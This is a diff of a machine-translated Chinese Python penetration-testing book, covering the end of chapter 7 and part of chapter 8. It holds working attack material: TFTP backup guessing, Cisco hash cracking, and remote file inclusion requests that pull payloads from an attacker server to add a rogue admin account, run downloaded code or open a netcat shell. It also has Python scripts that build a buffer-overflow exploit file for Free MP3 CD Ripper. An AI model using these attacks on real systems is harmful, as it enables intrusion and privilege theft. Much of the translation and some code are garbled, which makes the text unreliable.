-通常,管理员使用主机名作为备份文件的基本名称,然后备份文件随时间递增。因此,如果主机名是`example_router`,那么使用此功能的第一个备份将是`example_router-1`。因此,如果您知道主机名,您可以增加主机名后面的数字,这表示可能的备份文件名。这些请求可以通过 Hydra 和 Metasploit 等工具完成,但您必须根据识别的主机名生成自定义单词列表。 - -相反,我们可以编写一个即时 Python 脚本来满足这个特定的需求,这将是一个更好的选择。即时脚本是顶级评估人员经常使用的概念。它们生成一个脚本来执行当前工具无法根据特定需要轻松执行的任务。这意味着我们可以找到一种方法,以 VMS 不会标记的非预期方式自动操纵环境。 - -### 确定备份文件名 - -要确定可能的备份文件名范围,您需要识别可能是常规备份例程一部分的主机名。这意味着连接到 Telnet、FTP 和 SSH 等服务以提取横幅。即使使用 Bash、`for`循环和`netcat`,获取大量服务的横幅也可能非常耗时。为了克服这个挑战,我们可以编写一个简短的脚本,为我们连接到所有这些服务,如下面的代码所示,如果将来需要,甚至可以对其进行扩展。 - -此脚本使用端口列表,并将它们提供给每个测试的 IP 地址。我们正在使用一系列潜在的 IP 地址作为第四个八位组附加到一个基本 IP 地址。您可以生成额外的代码从文件读取 IP,或者从**无类域间路由**(**CIDR**)地址创建动态列表,但这需要额外的时间。目前,以下脚本符合我们的即时要求: - -``` -#!/usr/bin/env python -import socket - -def main(): - ports = [21,23,22] - ips = "192.168.195." - for octet in range(0,255): - for port in ports: - ip = ips + str(octet) - #print("[*] Testing port %s at IP %s") % (port, ip) - try: - socket.setdefaulttimeout(1) - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((ip,port)) - output = s.recv(1024) -print("[+] The banner: %s for IP: %s at Port: %s") % (output,ip,port) - except: - print("[-] Failed to Connect to %s:%s") % (ip, port) - finally: - s.close() - -if __name__ == "__main__": - main() -``` - -当脚本以活动横幅响应时,我们可以去获取服务的详细信息。这可以通过`nmap`等工具来完成,但脚本的框架可以调整,以获取更多或更少的细节,执行后续请求,甚至在必要时长时间地萎靡不振。因此,如果`nmap`或其他工具无法正确获取细节,则可以使用此脚本。应该注意的是,这比其他工具慢得多,应该将其作为辅助工具,而不是主要工具。 - -### 注 - -如前所述,`nmap`可以使用 NSE 横幅脚本以更快的速度完成类似的任务,如[所述 https://nmap.org/nsedoc/scripts/banner.html](https://nmap.org/nsedoc/scripts/banner.html) 。 - -从横幅抓取结果中,我们现在可以编写一个 Python 脚本,该脚本可以通过潜在的备份文件名进行增量,并尝试下载它们。因此,我们将创建一个目录来存储从这个 quick and 脚本请求的所有潜在文件。在这个目录中,我们可以列出内容并查看哪些内容超过 0 字节。如果我们看到内容超过 0 字节,我们就知道我们已经成功抓取了一个备份文件。我们将创建一个名为 backups 的目录,并从中运行此脚本: - -``` -#!/usr/bin/env python -try: - import tftpy -except: - sys.exit(“[!] Install the package tftpy with: pip install tftpy”) -def main(): - ip = "192.168.195.165" - port = 69 - tclient = tftpy.TftpClient(ip,port) - for inc in range(0,100): - filename = "example_router" + "-" + str(inc) - print("[*] Attempting to download %s from %s:%s") % (filename,ip,port) - try: -tclient.download(filename,filename) - except: - print("[-] Failed to download %s from %s:%s") % (filename,ip,port) - -if __name__ == '__main__': - main() -``` - -如您所见,编写此脚本是为了查找从`example_router-0`到`example_router-99`的路由器名称的备份。结果可以在输出目录中看到,如下所示: - -![Determining the backup filenames](graphics/B04315_07_05.jpg) - -现在,我们只需要确定每个文件有多大,就可以使用`ls -l`命令为路由器找到一个实际的备份。此命令的示例输出可以在下面的屏幕截图中看到。正如您在这里看到的,`example_router-5`似乎是一个包含数据的实际文件: - -![Determining the backup filenames](graphics/B04315_07_06.jpg) - -## 破解 Cisco MD5 哈希 - -现在我们可以看到备份文件中是否有哈希密码,如下所示: - -![Cracking Cisco MD5 hashes](graphics/B04315_07_07.jpg) - -裂土器约翰工具现在可以用来在正确格式化后破解这些散列。为此,请将这些哈希设置为如下格式: - -``` -enable_secret:hash - -``` - -裂土器工具要求以特定格式记录备份文件中的数据,以便对其进行处理。以下摘录显示了需要如何格式化这些哈希,以便对其进行处理: - -``` -enable_secret:$1$gUlC$Tj6Ou5.oPE0GRrymDGj9v1 -enable_secret:$1$ikJM$oMP.FIjc1fu0eKYNRXF931 - -``` - -然后,我们将这些散列放在一个文本文件中,如`cisco_hash`并对其运行裂土器 John,如下所示: - -``` -john cisco_hash - -``` - -完成后,您可以使用`john --show cisco_hash`查看结果,并使用提取的凭据登录到设备以提升您的权限并调整其详细信息。使用此访问,如果路由器是主要的周界保护,您可以调整保护以提供公共 IP 地址对内部资源的额外访问。 - -### 提示 - -记住使用你写的脚本获取你的公共 IP 地址,让你的生活更轻松。 - -你应该非常小心地去做这件事,即使是在红队的情况下。外围防火墙的操作可能会对组织产生不利影响。相反,您应该考虑突出您所获得的访问,并请求根据您参与的性质,为您的公共 IP 地址输入一个条目以访问半可信或受保护的网络。请记住,除非设备在公共或面向 Internet 的地址中具有可路由的 IP,否则您可能仍然无法通过 Internet 看到它,但您可能可以看到以前从您处混淆的端口和服务。例如,在防火墙后面启用了 RDP 的 web 服务器。一旦执行了外围规则的调整,您就可以访问 web 服务器上的 RDP。 - -# 通过网站获取访问权限 - -利用面向互联网的网站通常是破解组织边界的最可行的选择。有很多方法可以做到这一点,但提供访问的最佳漏洞包括**结构化查询语言**(**SQL**)**结构化查询语言注入**(**SQLi**)、**命令行注入**(**CLI**、**远程和本地文件包含**(**RFI**/**LFI**),以及不受保护的文件上载。关于 SQLi、CLI、LFI 和文件上载相关漏洞的执行,有大量信息,但通过 RFI 进行攻击的信息非常稀少,漏洞非常普遍。 - -## 文件包含攻击的执行 - -要查找文件包含向量,您需要查找引用资源的向量,可以是本地服务器上的资源,如文件,也可以是 Internet 上的其他资源: - -[http://www.example.website.com/?target=file.txt](http://www.example.website.com/?target=file.txt) - -远程文件包含通常引用其他网站或公司的内容: - -[http://www.example.website.com/?target=trustedsite.com/content.html](http://www.example.website.com/?target=trustedsite.com/content.html) - -除了严格的 RFI 示例之外,我们之所以强调 LFI,是因为文件包含漏洞通常对明显的 LFI 和 RFI 向量都起作用。应该注意的是,仅仅因为存在对远程或本地文件的引用,并不意味着它易受攻击。 - -在注意到这些差异后,我们可以根据底层体系结构(Windows 或 Linux/UNIX),尝试确定该站点是否能够抵御攻击。首先,我们必须准备好攻击环境,这意味着要对抗面向 Internet 的 web 服务器,并在其中定位攻击文件。幸运的是,Python 通过`SimpleHTTPServer`简化了这一过程。首先,我们创建一个名为`server`的目录,该目录将承载我们的文件,然后我们将 cd 刻录到该目录,然后使用以下命令创建 web 服务器实例: - -``` -python -m SimpleHTTPServer - -``` - -然后,您可以在**统一资源定位器**(**URL**)请求栏中输入端口号为 8000 的主机 IP 地址,并用一列分隔,从而访问该站点。执行此操作后,您将看到大量请求进入服务器以获取信息。这个新服务器(您刚刚站起来)可用于引用要在目标服务器上运行的脚本。此屏幕截图显示向服务器发出的相关请求: - -![The execution of file inclusion attacks](graphics/B04315_07_08.jpg) - -正如前面提到的一样,有时可以在目标 web 服务器上使用其他协议进行交互。如果您通过将 IP 地址添加到防火墙或**访问控制列表**(**ACL**)中的授权列表中,为自己提供了更多访问半可信网络或 DMZ 的权限,您可能能够看到**服务器消息块**(**SMB**或 RDP 等服务。因此,根据环境的不同,您可能不需要为自己提供额外的访问权限;只要破解 web 服务器就可以为您提供足够的访问权限。 - -大多数文件包含漏洞与**超文本预处理器**(**PHP**)网站有关。其他语言集可能容易受到攻击,但基于 PHP 的网站最为常见。因此,让我们创建一些伪装成文本文件的 PHP 脚本来验证漏洞并利用底层服务器进行攻击。 - -### 验证 RFI 漏洞 - -当你怀疑你已经发现 RFI 暴露时,你需要在利用它之前确认确实存在漏洞。首先,在面向互联网的服务器上启动一个`tcpdump`服务,让其监听**互联网控制消息协议**(**ICMP**)与以下命令的回声: - -``` -sudo tcpdump icmp[icmptype]=icmp-echo -vvv -s 0 -X -i any -w /tmp/ping.pcap - -``` - -此命令将生成一个文件,该文件将捕获`ping`命令发送的所有这些消息。Ping 公开的 web 服务器,找到服务器的实际 IP 地址,并记录它。然后,创建以下 PHP 文件,该文件存储为名为`ping.txt`的文本文件: - -``` -
-');
-?>
-
-``` - -您现在可以通过以下命令引用文件来执行攻击: - -[http://www.example.website.com/?target=70.106.216.176:8000/server/ping.txt](http://www.example.website.com/?target=70.106.216.176:8000/server/ping.txt) - -一旦攻击被执行,您可以使用以下命令查看**数据包捕获(PCAP)**: - -``` -tcpdump -tttt -r /tmp/ping.pcap - -``` - -如果您看到来自与 ping 相同服务器的 ICMP 回音,则您知道该服务器易受 RFI 攻击。 - -### 通过 RFI 利用主机 - -当您发现有漏洞的 Windows 主机时,它通常以特权帐户运行。因此,首先,通过 PHP 脚本向系统添加另一个本地管理员帐户可能会很有用。这是通过创建以下脚本并将其写入文本文件(如`account.txt`)来完成的: - -``` -
-
-
-``` - -现在,我们所要做的就是从我们公开的服务器引用脚本,如下所示: - -[http://www.example.website.com/?target=70.106.216.176:8000/server/account.txt](http://www.example.website.com/?target=70.106.216.176:8000/server/account.txt) - -如果可能,这将在服务器上创建一个新的恶意本地管理员,我们可以使用该管理员访问服务器。如果系统将 RDP 公开给 Internet,我们的工作将在这里完成,我们只需使用新帐户直接登录系统。如果不是这样,那么我们需要找到另一种方法来利用这个系统;为此,我们将使用实际有效载荷。 - -创建一个负载,如[第 5 章](05.html "Chapter 5. Exploiting Services with Python")*使用 Python*开发服务中强调的,并将其移动到用于存储引用文件的目录中。 - -### 提示 - -用于此攻击的最佳端口为端口 80、端口 443 和端口 53。确保这些服务没有冲突。 - -创建一个新的 PHP 脚本,可以直接下载文件并执行,名为`payload_execute.txt`: - -``` -
-
-
-``` - -现在,设置您的侦听器(如[第 5 章](05.html "Chapter 5. Exploiting Services with Python")所述,*使用 Python*开发服务)以侦听已定义的本地端口。最后,将新脚本加载到 RFI 请求中,并观察新的潜在 shell 出现: - -[http://www.example.website.com/?target=70.106.216.176:8000/server/payload_execute.txt](http://www.example.website.com/?target=70.106.216.176:8000/server/payload_execute.txt) - -这些示例说明了如何利用 Windows 主机,但如果它是 Linux 系统呢?根据主机的权限结构,获取 shell 可能会更加困难。也就是说,您可以在 localhost 中查找可能包含明文密码的本地文件和存储库。 - -Linux 和 Unix 主机为攻击者提供的好处是通常安装了`netcat`和几种脚本语言。每一个都可以向攻击者的监听系统提供一个命令外壳。例如,使用以下命令在面向 Internet 的主机上设置`netcat`侦听器: - -``` -nc -l 443 - -``` - -然后,创建一个存储在文本文件中的 PHP 脚本,如`netcat.txt`: - -``` -
-
-
-``` - -接下来,通过引用 URL 中的脚本来运行脚本,如前所示: - -[http://www.example.website.com/?target=70.106.216.176:8000/server/netcat.txt](http://www.example.website.com/?target=70.106.216.176:8000/server/netcat.txt) - -### 注 - -有几个例子说明了如何在系统上设置其他后门,如[中突出显示的 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) 。 - -对于 Windows 和 Linux 主机,Metasploit 的`php_include`漏洞允许您直接向 RFI 注入攻击。PHP MeterMeter 有限且不太稳定,因此在 Windows 系统上站稳脚跟后,仍然需要下载完整的 MeterMeter 并执行它。在 Linux 系统上,您应该提取`passwd`和`shadow`文件并破解它们以获得真正的本地访问。 - -# 总结 - -本章重点介绍了针对暴露的特定服务破解边界的常见方法。但是,我们没有介绍最常见的破解外围的方法,即网络钓鱼。网络钓鱼是一种社会工程,它本身就是一门艺术,可以用几章来描述,但你应该知道,如果真正的攻击者找不到一种简单的方法进入环境,他们就会使用网络钓鱼。如今,恶意行为者通常从网络钓鱼开始,因为它很容易引诱受害者。 - -在这些进入媒介之后,评估人员和恶意参与者会观察 2014 年发现的新修补的零日,如 Shellshock 和 Heartbleed。即使在提供新修补程序几个月后,此类示例也经常可被利用,但如果您认为在公开的服务中发现了一个漏洞,但没有可用的利用漏洞,或者您发现了一个潜在的零日漏洞,该怎么办?虽然渗透测试人员很少有机会在零天内进行测试,但通常在更受控的环境中证明折衷的概念。在下一章中,我们将更深入地讨论这一点。 \ No newline at end of file diff --git a/trans/py-pentest-dev/08.md b/trans/py-pentest-dev/08.md deleted file mode 100644 index 52d2626..0000000 --- a/trans/py-pentest-dev/08.md +++ /dev/null @@ -1,873 +0,0 @@ -# 第 8 章。利用 Python、Metasploit 和免疫进行开发 - -在研究过程中或在罕见的参与中,您可能需要开发或修改漏洞利用以满足您的需求。Python 是一种非常棒的语言,它可以快速生成代码原型,用于测试漏洞,或者帮助将来修改 Metasploit 模块。本章重点介绍编写利用漏洞的方法,而不是如何为这些软件产品创建特定的利用漏洞,以便需要更多的测试来提高可靠性。首先,我们需要了解**中央处理单元**(**CPU**)如何注册,以及 Windows 内存在可执行文件运行时的结构。在此之前,在 Windows XP 运行模式**虚拟机****虚拟机**上,您需要一些工具来测试这一点。 - -### 注 - -在 Windows XP Run 上下载并安装以下组件:模式 VM、Python 2.7、Notepad++、免疫调试器、MinGW(包含所有基本软件包)和免费 MP3 CD 裂土器版本 1.0。还可以使用您当前的 Kali 构建来帮助生成我们将在本章中重点介绍的相关细节。 - -# 开始使用寄存器 - -此解释基于 x86 系统和处理可执行文件指令集的相关寄存器。为了简洁起见,我们不打算详细讨论所有寄存器,但我们将在本章范围内描述最重要的寄存器。特别突出显示的寄存器大小为 32 位,称为扩展寄存器。 - -它们之所以被扩展,是因为它们在以前的 16 位寄存器中添加了 16 位。例如,旧的 16 位通用寄存器可以通过简单地从寄存器名称前面删除 E 来识别,因此 EBX 也包含 16 位 BX 寄存器。BX 寄存器实际上是两个较小的 8 位寄存器(BH 和 BL)的组合。H 和 L 表示高字节和低字节寄存器。仅就这一主题编写了大量书籍,复制这些信息对我们的目的没有直接的帮助。总的来说,为了便于理解,登记册分为两种形式:普通用途登记册和特殊用途登记册。 - -## 理解通用寄存器 - -四个通用寄存器是 EAX、EBX、ECX 和 EDX。它们之所以被称为通用寄存器,是因为数学运算和存储发生在这里。请记住,任何东西都可以被操纵,即使是寄存器通常会执行的基本概念。不过,对于这种描述,总体目的是准确的。 - -### EAX - -累加器寄存器用于基本的数学运算和函数的返回值。 - -### EBX - -基址寄存器是另一个通用寄存器,但与 EAX 不同,它不用于特定用途。因此,该寄存器可根据需要用于标称存储。 - -### ECX - -计数器寄存器主要用于循环函数和迭代。ECX 寄存器也可用于一般存储。 - -### EDX - -数据寄存器用于更高的数学运算,如乘法和除法。该寄存器还存储整个程序处理过程中的函数变量。 - -## 理解专用寄存器 - -这些寄存器是在整个程序处理过程中处理索引和指向的寄存器。这对您意味着,这就是基本漏洞写入的神奇之处——最终,我们尝试在这里操作数据覆盖。这是通过在其他寄存器中发生的操作顺序来完成的。 - -### EBP - -基本指针告诉堆栈底部的位置。第一次调用函数时,它指向堆栈顶部,或者设置为旧堆栈指针值。这是因为堆栈已移动或增长。 - -### 电子数据交换 - -目标索引寄存器用于指向函数的指针。 - -### EIP - -指令指针被认为是基本开发编写的目标。您试图覆盖堆栈上此存储点的值,因为如果控制此值,则控制 CPU 执行的下一条指令。因此,当您看到开发人员或漏洞利用作者谈论覆盖 EIP 寄存器上的数据时,请理解这不是一件好事。这意味着程序本身的某些设计失败了。 - -### ESP - -堆栈指针显示堆栈的当前顶部,并在程序运行时进行修改。因此,当项目在运行时从堆栈顶部移除时,ESP 将更改其指向的位置。当新函数加载到堆栈上时,EBP 将采用 ESP 的旧位置。 - -# 了解 Windows 内存结构 - -Windows**操作系统(OS)**内存结构有许多部分,可以分解为高级组件。要了解如何编写漏洞利用和利用糟糕的编程实践,我们首先必须了解以下部分。以下详细信息将此信息分解为可管理的块。下图提供了可执行文件的 Windows 内存结构的代表图。 - -![Understanding the Windows memory structure](graphics/B04315_08_1.jpg) - -现在,这些组件中的每一个都很重要,但是我们在大多数利用漏洞编写中使用的是堆栈和堆。 - -## 了解堆栈和堆 - -堆栈用于以有序方式进行短期本地存储。每次调用函数或线程时,都会为该函数或线程指定一个固定大小的唯一堆栈。函数或线程完成操作后,堆栈将被销毁。 - -另一方面,堆是以相对无序的方式分配全局变量和值的地方。堆由应用程序共享,内存区域实际上由应用程序或进程管理。一旦应用程序终止,就会释放特定的内存区域。在本例中,我们攻击的是堆栈,而不是堆。 - -### 提示 - -请记住,这里的漏洞利用示例通常是用 Perl 编写的,尽管您可以轻松地将代码转换为 Python,如[第 2 章](02.html "Chapter 2. The Basics of Python Scripting")、*Python 脚本基础*中所强调的。 - -为了更好地理解堆和堆栈移动之间的差异,请参见下图,其中显示了在为全局和本地资源分配内存时的调整。 - -![Understanding the stack and the heap](graphics/B04315_08_2.jpg) - -堆栈从堆栈底部到顶部构建数据。从高内存地址增长到低内存地址。当堆向另一个方向(更高的地址)增长时,堆与堆栈相反。 - -为了理解程序加载到堆栈上的方式,我们创建了一个示例代码段。通过这段代码,您可以看到主函数如何调用`function1`和本地变量,因为它们被放置在堆栈上。请注意程序在正常情况下调用`function1`的方式,以及数据如何放置在堆栈上。 - -``` -int function1(int a, int b, int c) -{ - diffa - b - c; - sum = a + b + c; - return sum; -} -int main() -{ - return function1(argv[1], argv[2], argv[3]); -} -``` - -![Understanding the stack and the heap](graphics/B04315_08_3.jpg) - -加载到堆栈上的代码看起来与此类似,这突出显示了信息组件的显示方式。如您所见,旧的基本指针加载到堆栈上进行存储,而新的 EBP 是旧的堆栈指针值,因为堆栈的顶部已移动到其新位置。 - -放入堆栈的项目被推到堆栈上,从堆栈中运行或移除的项目从堆栈中弹出。堆栈是一种可编程概念,称为**后进先出**(**后进先出**结构。把它想象成一堆菜;为了有效地移除盘子,你必须一个或一组地将它们从顶部取下,否则你会有打碎东西的风险。当然,最安全的方法是一次一个,这需要更长的时间,但它是可追踪和有效的。了解了我们将用于将代码注入的内存结构的最动态部分后,您需要了解 Windows 内存的其余区域,这些区域将用作构建块,我们将对其进行操作,以从注入到 shell。具体来说,我们讲的是程序映像和**动态链接库**(**DLL**)。 - -### 注 - -请记住,我们正在尝试将外壳代码注入内存,然后使用它通过一个解决方案(如 MeterMeter)访问系统。 - -## 了解程序映像和动态链接库 - -简单地说,程序映像是,实际可执行文件存储在内存中。**可移植可执行文件(PE)**是可执行文件的定义格式,包含可执行文件和 DLL。在内存的程序映像组件中,定义了以下项目。 - -* `PE header`:此包含 PE 其余部分的定义。 -* `.text`:此组件包含代码段或可执行指令。 -* `.rdata`:此为只读数据段,包含静态常数而非变量。 -* `.data`:当可执行文件加载到内存中时,该区域包含初始化后的静态变量、全局变量和静态局部变量。此区域是可读写的,但大小在运行时不会更改,而是在执行时确定。 -* `.rsrc`:此部分是存储可执行文件资源的地方。这包括图标、菜单、对话框、版本信息、字体等。 - -### 注 - -许多渗透测试人员操纵可执行文件的`.rsrc`组件来改变有效载荷的格式,使其看起来像其他东西。这样做通常是为了改变恶意负载在**通用串行总线(USB)**驱动器上的显示方式。想一想,当你把你的负载从一个可执行文件变成一个文件夹的时候,你会做一个 USB 丢弃。大多数人都希望看到文件夹中有什么,而且双击一个假的文件夹比双击一个可疑的可执行文件更有可能。资源调谐器之类的工具使 PE 的这一部分的操作变得非常简单。 - -这里要理解的 PE 的最后一个组件是 DLL,它包含了 Microsoft 的共享库概念。DLL 类似于可执行文件,但不能直接调用它们,而是必须由可执行文件调用它们。DLL 的核心思想是提供一种升级功能的方法,而无需在操作系统更新时重新编译整个程序。 - -因此,无论启动周期如何,系统操作的许多基本构建块都需要被引用。这意味着,即使其他组件将位于不同的内存位置,许多核心 DLL 也将保留在相同的引用位置。请记住,程序需要特定的可调用指令,许多基础 DLL 都加载到相同的内存区域。 - -您需要了解的是,我们将使用这些 DLL 查找可靠地放入同一位置的指令,以便我们可以引用它。这意味着,如果您使用操作系统 DLL,只要操作系统和**Service Pack(SP)**版本相同,在系统和重新启动过程中,内存引用就可以工作。如果您使用的 DLL 完全是程序的本机 DLL,则可以跨操作系统版本使用此漏洞。不过,对于这个示例,我们将使用 OS DLL。发现的指令将使我们能够告诉系统跳转到 shell 代码,然后执行它。 - -我们必须在 DLL 中执行引用代码的原因是,我们无法确定每次发起此攻击时代码将加载到内存中的确切位置,因此我们无法告诉系统要跳转到的确切内存地址。因此,我们将用我们的代码加载堆栈,然后告诉程序通过引用位置跳转到堆栈顶部。 - -请记住,每次执行程序和/或每次重新启动时,这可能会发生变化。堆栈内存地址根据每个程序的需要提供,我们正试图将代码直接注入这个正在运行的函数的堆栈中。因此,我们必须利用已知的和可重复的目标指令集。我们将详细解释这一过程的确切过程,但现在,只需知道我们使用 DLL 已知指令集跳转到 shell 代码。从这个内存区域来看,其他组件对于我们这里强调的开发技术来说不太重要,但是您需要在调试器中引用它们时理解它们。 - -### 注 - -从以下两篇老文章中可以更好地理解 PE,*窥视 PE:Win32 可移植可执行文件格式之旅*,可在此处找到[https://msdn.microsoft.com/en-us/magazine/ms809762.aspx](https://msdn.microsoft.com/en-us/magazine/ms809762.aspx) ,并深入了解 Win32 可移植可执行文件格式,可在此处找到 [https://msdn.microsoft.com/en-us/magazine/cc301805.aspx](https://msdn.microsoft.com/en-us/magazine/cc301805.aspx) 。 - -## 了解工艺环境块 - -**进程环境块**(**PEB**)是存储运行进程的非内核组件的地方。不应该访问内核组件的系统所需的信息存储在内存中。一些**主机入侵防御系统**(**HIPS**监视此内存区域中的活动,以查看是否正在发生恶意活动。PEB 包含与加载的 DLL、可执行文件、访问限制等相关的详细信息。 - -## 了解线程环境块 - -为进程已建立的每个线程生成一个**线程环境块(TEB)**线程环境块。第一个线程称为主线程,之后的每个线程都有自己的 TEB。每个 TEB 共享启动它们的进程的内存分配,但它们可以以使任务完成更高效的方式执行指令。由于需要可写访问,该环境驻留在内存的非内核块中。 - -## 内核 - -这是为设备驱动程序保留的内存的区域、**硬件访问层(HAL)**、缓存和其他程序不需要直接访问的组件。理解内核的最好方法是,它是操作系统中最关键的组件。所有通信都通过操作系统功能进行必要的代理。我们在这里强调的攻击并不依赖于对内核的深入理解。此外,深入理解 Windows 内核需要一本自己的书。在定义内存位置之后,我们必须了解数据是如何在其中寻址的。 - -# 了解内存地址和结束 - -当查看内存时,数据以十六进制字符 0-F 表示,每个字符代表 0-15 的值。例如,十六进制中的值 0 在二进制中表示为 0000,F 在二进制中表示为 1111。 - -使用十六进制使更容易读取内存地址,也更容易写入它们。因为我们有 32 位内存地址,所以特定的位将有 32 个位置。由于每个十六进制值表示四位,因此可以用八个十六进制字符进行等效表示。请记住,这些十六进制字符是成对的,因此它们表示四对。 - -英特尔 x86 平台对内存寻址使用了一种小小的 endian 表示法,这意味着最低有效字节排在第一位。您读取的内存地址必须反转才能生成小端的等效地址。要理解手动转换为 little endian,请查看下图,注意您正在反转对的顺序,而不是对本身。这是因为这对代表一个字节,我们先按最低有效字节排序,而不是按位排序,如果是这种情况,十六进制字符也会改变,除非它是 a 或 F。 - -![Understanding memory addresses and endianness](graphics/B04315_08_4.jpg) - -不要担心,我们有一个骗局,您经常会看到 Perl 利用特定内存地址编写的漏洞加载到带有`pack('V', 0xaa01f24d)`的变量中。这是 Perl 的一个整洁的特性,它允许您将内存值直接加载到一个变量中。Python 的等价物是`struct.pack(' -#include -int main (int argc, char *argv[]) -{ - if (argc!=2) return 1; - char copyto[12]; - strcpy(copyto, argv[1]); // failure to enforce size restrictions - printf("The username you provided is %s", copyto); - return 0; -} -``` - -我们将此代码放入名为`username_test.cpp`的文件中,然后使用 MinGW 编译,如下所示: - -![Understanding basic buffer overflow](graphics/B04315_08_9.jpg) - -然后我们可以运行新编译的程序,查看它返回我们提供的任何文本。 - -![Understanding basic buffer overflow](graphics/B04315_08_10.jpg) - -现在,启动免疫并使用参数测试打开`username_test.exe`二进制文件,如下所示。这在功能上与 Python 脚本和从命令行运行它的功能相同,这意味着您可以监视调试器的输出。 - -![Understanding basic buffer overflow](graphics/B04315_08_11.jpg) - -现在,我们需要提供比预期更多的数据,并尝试触发溢出。这很容易在这里完成,因为我们知道这个特殊二进制的极限,但是如果我们不知道,我们就必须进行相对猜测。要做到这一点,我们应该生成一些数据,比如一堆资本,然后看看会发生什么。 - -我们可以在每次生成参数时反复按住*Shift*键加上字母 A,也可以创建一个生成器来执行类似的活动。我们可以再次使用 Python 来帮助我们。请参阅简单代码,它将根据需要创建数据文件,这些文件可以复制并粘贴到调试器中。 - -``` -data = "A"*150 -open('output.txt', 'w').close() -with open("output.txt", "w") as text_file: - text_file.write(data) -``` - -其输出如下图所示: - -![Understanding basic buffer overflow](graphics/B04315_08_12.jpg) - -现在,将数据复制并粘贴到参数中,并在程序使用*F7*键运行时单步执行程序。按住键一段时间后,您将开始看到二进制文件在寄存器窗格中处理时使用提供的参数运行,并且在处理时,4141 将在 EAX 寄存器中拾取。41 个字符中的每一个都代表了**美国信息交换标准代码**(**ASCII**)的字母 A。一旦您运行完程序,您应该会看到 EIP 溢出了字母 A。 - -### 注 - -在本例中,您将看到的内存地址与您自己环境中的内存地址不同,因此您需要确保使用内存地址生成最终脚本,而不是在这些图像中看到的。 - -![Understanding basic buffer overflow](graphics/B04315_08_13.jpg) - -因此,我们知道我们已经提供了足够的数据覆盖 EIP。这意味着我们已经发现我们可以覆盖 EIP,但我们没有为它提供任何有用的东西,我们也不知道它在堆栈中的实际位置。基本上,这意味着这个活动使我们的程序崩溃,而不是做我们想做的事情——得到一个外壳。 - -这就引出了另一个关于制作漏洞的观点;通常,设计不当或无法在特定漏洞的内存限制下工作的漏洞利用会产生**拒绝服务**(**拒绝服务**情况。相反,我们的目标是在盒子上得到一个外壳,要做到这一点,我们需要操纵被推入程序的内容。请记住,当您考虑服务时,已经有了关于 To.T5A.To.T6.远程代码执行 OLE T7(Ty8 T8,RCE OutT9)的攻击的报告,并且在 DoS 攻击中唯一可用的公共开发可用的结果。这意味着环境很难实现 shell 访问,或者研究人员在该环境中创建漏洞的能力可能有限。 - -### 提示 - -在进行过程中,如果寄存器有错误,例如下图中的错误,那么您没有正确地确定后续开发的缓冲区大小。 - -![Understanding basic buffer overflow](graphics/B04315_08_14.jpg) - -既然您了解了将数据注入缓冲区并使其溢出的基本知识,我们就可以针对一个真正易受攻击的解决方案。在这个例子中,我们将使用免费的 MP3 CD 裂土器程序。这个程序在开发一个漏洞时提供的实际价值很少,但是开发它是一个相对简单的练习。 - -# 编写基本缓冲区溢出漏洞 - -我们将利用免费 MP3 CD 裂土器软件程序的第 1 版。为此,我们需要从该位置[下载并安装产品 http://free-mp3-cd-ripper.en.softonic.com/](http://free-mp3-cd-ripper.en.softonic.com/) 。为了利用这个程序的弱点,我们将使用下面的 Python 脚本,它将生成一个恶意的.wav 文件,可以上传到程序中。数据将被解释,并将创建一个溢出条件,我们可以观察并尝试定制和构建一个漏洞。如前所述,我们将把许多不同的字符加载到此文件中,以便我们可以对存储的 EIP 值的相对位置进行 guestimate。 - -``` -#!/usr/bin/env python -import struct -filename="exploit.wav" -fill ="A"*4000 -fill +="B"*1000 -fill +="C"*1000 -exploit = fill -writeFile = open (filename, "w") -writeFile.write(exploit) -writeFile.close() -``` - -此脚本将用 4000 As、1000 Bs 和 1000 Cs 填充恶意 wave 文件。现在,打开具有免疫功能的程序,如下所示: - -![Writing a basic buffer overflow exploit](graphics/B04315_08_15.jpg) - -使用新的 Python 脚本生成恶意 wave 文件,如下所示: - -![Writing a basic buffer overflow exploit](graphics/B04315_08_16.jpg) - -然后,用易受攻击的程序加载新文件,如下所示: - -![Writing a basic buffer overflow exploit](graphics/B04315_08_17.jpg) - -的结果是,我们在 Bs 中得到了稳定的崩溃,如下图所示,这意味着我们的 EIP 覆盖大约在 4000 到 5000 个字符之间。 - -![Writing a basic buffer overflow exploit](graphics/B04315_08_19.jpg) - -此外,我们看到在 EBX、EBP、ESI 和 EDI 中有 Bs,但是 ESP 呢?我们需要找到放置外壳代码的空间,最简单的方法是使用 ESP。因此,我们要做的是转储该寄存器的内容。您可以通过右键单击寄存器并查看免疫系统左下角窗格中的详细信息,如两个图像组件所示。 - -![Writing a basic buffer overflow exploit](graphics/B04315_08_20.jpg) - -正如您所看到的,我们也用 Bs 填充了 ESP。我们需要缩小可以放置外壳代码和 EIP 位置的范围,因此我们将使用 Metasploit 的`pattern_create.rb`。首先,我们需要找到 EIP,所以我们将生成五千个独特的字符。使用此脚本时,您将能够插入数据,然后确定覆盖的确切位置。下图突出显示了如何生成唯一的数据集。 - -![Writing a basic buffer overflow exploit](graphics/B04315_08_22.jpg) - -现在,从输出文件中复制字符,并将它们作为新的`.wav`文件再次输入程序。当加载新的`.wav`文件时,我们看到程序再次崩溃,一个值覆盖了 EIP。 - -![Writing a basic buffer overflow exploit](graphics/B04315_08_23.jpg) - -我们需要复制该值,并通过输入内存地址和我们最初要求的字符数,使用`patter_offset.rb`脚本来确定利用漏洞所需的实际偏移量。 - -![Writing a basic buffer overflow exploit](graphics/B04315_08_24.jpg) - -现在,我们将 fill 变量更新为该值。我们必须验证这些垃圾数据是否会导致我们直接登陆 EIP,以便覆盖它。通过使用以下代码显式设置 EIP,可以执行一个测试用例来验证我们是否精确定位了 EIP: - -``` -#!/usr/bin/env python -import struct -filename="exploit.wav" -fill ="A"*4112 -eip = struct.pack(' - [ - [ 'Sami FTP Server 2.0.1 / Windows XP SP 3', { 'Ret' => 0x10028283, 'Offset' => 228 } ], - [ 'New Definition', { 'Ret' => 0x#######, 'Offset' => ### } ], -``` - -从这个例子中,我们看到了如何反转 Metasploit 模块以创建独立的漏洞利用,该漏洞利用可用于扩展目标选择并提高未来漏洞利用的可靠性。 - -### 注 - -如果选择创建具有不同功能的新 Metasploit 模块或更新,并且不希望中断当前安装,则可以将自定义模块加载到 Metasploit 中。以下位置[详细记录了这些细节 